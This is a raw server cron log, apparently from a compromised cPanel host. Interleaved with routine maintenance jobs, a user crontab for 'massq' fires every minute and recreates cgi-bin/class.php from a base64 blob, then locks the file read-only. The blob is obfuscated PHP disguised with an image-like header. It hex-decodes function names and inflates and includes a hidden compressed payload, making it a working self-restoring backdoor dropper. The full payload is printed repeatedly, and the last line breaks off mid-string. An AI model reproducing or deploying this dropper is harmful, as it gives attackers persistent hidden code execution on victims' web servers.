Sep  3 08:05:01 server CROND[15074]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 08:05:01 server CROND[15076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:05:01 server CROND[15081]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:05:01 server CROND[15080]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 08:05:01 server CROND[15079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:05:01 server CROND[15082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:05:01 server CROND[15077]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 08:05:01 server CROND[15083]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:06:01 server CROND[15936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:06:01 server CROND[15935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:06:01 server CROND[15937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:07:01 server CROND[16319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:07:01 server CROND[16320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:07:01 server CROND[16321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:08:01 server CROND[17121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:08:01 server CROND[17122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:08:01 server CROND[17123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:09:01 server CROND[17507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:09:01 server CROND[17508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:09:01 server CROND[17509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:09:01 server CROND[17510]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 08:10:01 server CROND[17894]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 08:10:01 server CROND[17896]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 08:10:01 server CROND[17903]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:10:01 server CROND[17909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:10:01 server CROND[17908]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 08:10:01 server CROND[17906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:10:01 server CROND[17907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:10:01 server CROND[17910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:11:01 server CROND[18713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:11:01 server CROND[18715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:11:01 server CROND[18714]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:12:01 server CROND[19078]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 08:12:01 server CROND[19080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:12:01 server CROND[19079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:12:01 server CROND[19081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:13:01 server CROND[19555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:13:01 server CROND[19556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:13:01 server CROND[19557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:14:01 server CROND[19930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:14:01 server CROND[19931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:14:01 server CROND[19933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:15:01 server CROND[20316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:15:01 server CROND[20315]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 08:15:01 server CROND[20317]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 08:15:01 server CROND[20319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:15:01 server CROND[20330]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 08:15:01 server CROND[20342]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 08:15:01 server CROND[20339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:15:01 server CROND[20332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:15:01 server CROND[20331]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:16:01 server CROND[21187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:16:01 server CROND[21188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:16:01 server CROND[21189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b3